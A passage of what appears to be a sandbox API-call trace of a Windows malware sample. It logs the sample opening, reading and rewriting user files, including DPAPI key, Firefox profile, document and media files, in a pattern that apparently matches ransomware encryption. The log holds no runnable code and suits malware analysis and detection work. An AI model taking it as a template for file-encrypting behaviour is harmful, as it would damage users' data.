lpMultiByteStr="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpUsedDefaultChar=0x0) returned 65 [0053.543] ReadFile (in: hFile=0x12c, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x188, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2b0f2bc*=0x188, lpOverlapped=0x0) returned 1 [0053.544] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.544] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x710, lpOverlapped=0x0) returned 1 [0053.544] CloseHandle (hObject=0x12c) returned 1 [0053.544] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\b3bb9c1ba2d19e090ae305b2683903a0_6f0a84ce2ba99bd19d42c92610275852"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.545] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.545] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1a0 [0053.545] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.545] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.545] ReleaseMutex (hMutex=0x128) returned 1 [0053.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.545] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", lpUsedDefaultChar=0x0) returned 65 [0053.545] ReadFile (in: hFile=0x12c, lpBuffer=0x276a348, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a348*, lpNumberOfBytesRead=0x2b0f2bc*=0x1a0, lpOverlapped=0x0) returned 1 [0053.546] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.546] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x728, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x728, lpOverlapped=0x0) returned 1 [0053.546] CloseHandle (hObject=0x12c) returned 1 [0053.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\ea618097e393409afa316f0f87e2c202_827c1b837652b048c4c84237d0838585"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.547] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.547] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x18e [0053.547] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.547] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.547] ReleaseMutex (hMutex=0x128) returned 1 [0053.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0053.547] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cchWideChar=65, lpMultiByteStr=0x1e951cc, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", lpUsedDefaultChar=0x0) returned 65 [0053.547] ReadFile (in: hFile=0x12c, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x18e, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x2b0f2bc*=0x18e, lpOverlapped=0x0) returned 1 [0053.548] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.548] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ec8*, nNumberOfBytesToWrite=0x716, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ec8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x716, lpOverlapped=0x0) returned 1 [0053.548] CloseHandle (hObject=0x12c) returned 1 [0053.548] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\2vVmVnN1dxhtM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\2vvmvnn1dxhtm.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.548] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.548] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x8743 [0053.548] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.548] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.549] ReleaseMutex (hMutex=0x128) returned 1 [0053.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2vVmVnN1dxhtM.avi", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0053.549] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2vVmVnN1dxhtM.avi", cchWideChar=17, lpMultiByteStr=0x1e786cc, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2vVmVnN1dxhtM.avi", lpUsedDefaultChar=0x0) returned 17 [0053.549] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.549] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7743 [0053.549] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.550] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x7743 [0053.550] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.550] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.550] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.550] CloseHandle (hObject=0x12c) returned 1 [0053.550] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\d0aT tPjGTpnSUq3PH.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d0at tpjgtpnsuq3ph.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.550] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.550] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xe6bc [0053.551] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.551] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.551] ReleaseMutex (hMutex=0x128) returned 1 [0053.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d0aT tPjGTpnSUq3PH.gif", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0053.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="d0aT tPjGTpnSUq3PH.gif", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="d0aT tPjGTpnSUq3PH.gif", lpUsedDefaultChar=0x0) returned 22 [0053.551] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0053.552] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xd6bc [0053.552] ReadFile (in: hFile=0x12c, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.552] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xd6bc [0053.552] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.552] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.552] WriteFile (in: hFile=0x12c, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0053.552] CloseHandle (hObject=0x12c) returned 1 [0053.552] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.554] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.554] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x5f600 [0053.554] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.554] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.554] ReleaseMutex (hMutex=0x128) returned 1 [0053.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Global.MPT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0053.554] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Global.MPT", cchWideChar=10, lpMultiByteStr=0x1e6340c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Global.MPT", lpUsedDefaultChar=0x0) returned 10 [0053.554] ReadFile (in: hFile=0x12c, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2b0f278*=0x8000, lpOverlapped=0x0) returned 1 [0053.765] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e600 [0053.765] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.766] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5e600 [0053.767] WriteFile (in: hFile=0x12c, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.767] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.767] WriteFile (in: hFile=0x12c, lpBuffer=0x27f5cc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f5cc8*, lpNumberOfBytesWritten=0x2b0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0053.767] CloseHandle (hObject=0x12c) returned 1 [0053.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\fbbe72db-afd8-443b-88dd-64b20388700d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.767] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.767] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1d4 [0053.767] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.767] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.768] ReleaseMutex (hMutex=0x128) returned 1 [0053.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fbbe72db-afd8-443b-88dd-64b20388700d", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0053.768] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="fbbe72db-afd8-443b-88dd-64b20388700d", cchWideChar=36, lpMultiByteStr=0x1eb2244, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fbbe72db-afd8-443b-88dd-64b20388700d", lpUsedDefaultChar=0x0) returned 36 [0053.768] ReadFile (in: hFile=0x12c, lpBuffer=0x1d97918, nNumberOfBytesToRead=0x1d4, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d97918*, lpNumberOfBytesRead=0x2b0f2bc*=0x1d4, lpOverlapped=0x0) returned 1 [0053.768] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.768] WriteFile (in: hFile=0x12c, lpBuffer=0x1de83c8*, nNumberOfBytesToWrite=0x75c, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de83c8*, lpNumberOfBytesWritten=0x2b0f2d0*=0x75c, lpOverlapped=0x0) returned 1 [0053.769] CloseHandle (hObject=0x12c) returned 1 [0053.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\localstore.rdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\localstore.rdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.769] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.769] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x501 [0053.769] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.769] ReleaseMutex (hMutex=0x128) returned 1 [0053.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localstore.rdf", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0053.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="localstore.rdf", cchWideChar=14, lpMultiByteStr=0x1e6334c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localstore.rdf", lpUsedDefaultChar=0x0) returned 14 [0053.769] ReadFile (in: hFile=0x12c, lpBuffer=0x1e15458, nNumberOfBytesToRead=0x501, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e15458*, lpNumberOfBytesRead=0x2b0f2bc*=0x501, lpOverlapped=0x0) returned 1 [0053.771] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0053.771] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0xa89, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f2d0*=0xa89, lpOverlapped=0x0) returned 1 [0053.771] CloseHandle (hObject=0x12c) returned 1 [0053.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pbPUp00ifJdsEbDZQD9.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\pbpup00ifjdsebdzqd9.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.771] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.771] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x4b6a [0053.771] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0053.771] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0053.771] ReleaseMutex (hMutex=0x128) returned 1 [0053.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pbPUp00ifJdsEbDZQD9.pptx", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0053.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pbPUp00ifJdsEbDZQD9.pptx", cchWideChar=24, lpMultiByteStr=0x1e7fb4c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pbPUp00ifJdsEbDZQD9.pptx", lpUsedDefaultChar=0x0) returned 24 [0053.772] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.772] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3b6a [0053.772] ReadFile (in: hFile=0x12c, lpBuffer=0x2613678, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0053.772] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x3b6a [0053.772] WriteFile (in: hFile=0x12c, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0053.773] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0053.773] WriteFile (in: hFile=0x12c, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2b0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0053.773] CloseHandle (hObject=0x12c) returned 1 [0053.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0053.774] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, 